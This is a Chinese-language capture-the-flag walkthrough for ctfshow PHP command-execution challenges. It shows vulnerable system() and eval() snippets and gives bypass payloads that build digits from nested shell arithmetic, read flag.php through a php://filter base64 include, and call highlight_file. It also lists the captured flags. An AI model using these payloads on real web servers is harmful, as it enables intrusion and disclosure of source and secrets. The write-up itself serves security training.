- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\, $c)){
- system($c);
- }
这块跟55类似,但是把数字也过滤了,意思是,/???/????64 不能用了,因为这里是靠64匹配的,数字没了所以就用不了了,但是.还是没过滤,可以使用.执行
详细介绍在前面的文章中——传送门
使用上传网页,上传个txt,抓包修改,发送到重发器,因为最后一位不一定为大写字母所以多发几次就有结果


ctfshow{1aca122d-266a-42a3-ab31-7ba3800c2277}
- //flag in 36.php
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
- system("cat ".$c.".php");
- }
- }else{
提示了flag在36.php,下面甚至cat 和.php都给了,其实就是想办法构造36出来,看了大佬的解,发现在linux中$(())表示运算符计算,且默认相加 默认相加很重要的,然后~是取反的意思
尝试了一下 $(())=0,$((~ $(())))=-1 ,$((~ 36))=-37

$((~ -37))=36,所以就要构造一个 $((~ -37)),而刚刚提到$(())默认相加,尝试一下
$(($((~ $(()))) $((~ $(()))) $((~ $(())))))

所以写37个 $((~ $(()))) 就能得到-37 再用~取反 得到36

payload:
$((~ $(($((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(())))$((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) ))))
ps:flag在F12中

ctfshow{d0d4cca2-b564-4c68-81bc-db28481f7249}
- if(isset($_POST['c'])){
- $c= $_POST['c'];
- eval($c);
- }else{
变成post方法传参了,直接掏出hackbar
试了一下c=system('ls');

出于安全性考虑已被禁用,passthru、shell_exec、exec都被禁用了,考虑文件包含或者highlight_file
c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
c=highlight_file("flag.php");
base64 falg: PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNyAxOTo0MDo1Mw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDcgMTk6NDE6MDANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3s3Yjg3ODk5NS1jMGU5LTRiMWEtODljMC0zZTg1NTc2YmQ5ZjN9Ijs=

ctfshow{7b878995-c0e9-4b1a-89c0-3e85576bd9f3}
web59代码分析:- if(isset($_POST['c'])){
- $c= $_POST['c'];
- eval($c);
跟上一关一样
c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
c=highlight_file("flag.php");
ctfshow{f3be9bd8-55e2-4a59-9973-70ae3ddb8074}
- if(isset($_POST['c'])){
- $c= $_POST['c'];
- eval($c);
- }else{
- highlight_file(__FILE__);
- }
跟上一关一样
c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
c=highlight_file("flag.php");
ctfshow{41197111-be3c-4c5a-89d3-378cc8e8a003}
web61-65都和前面一样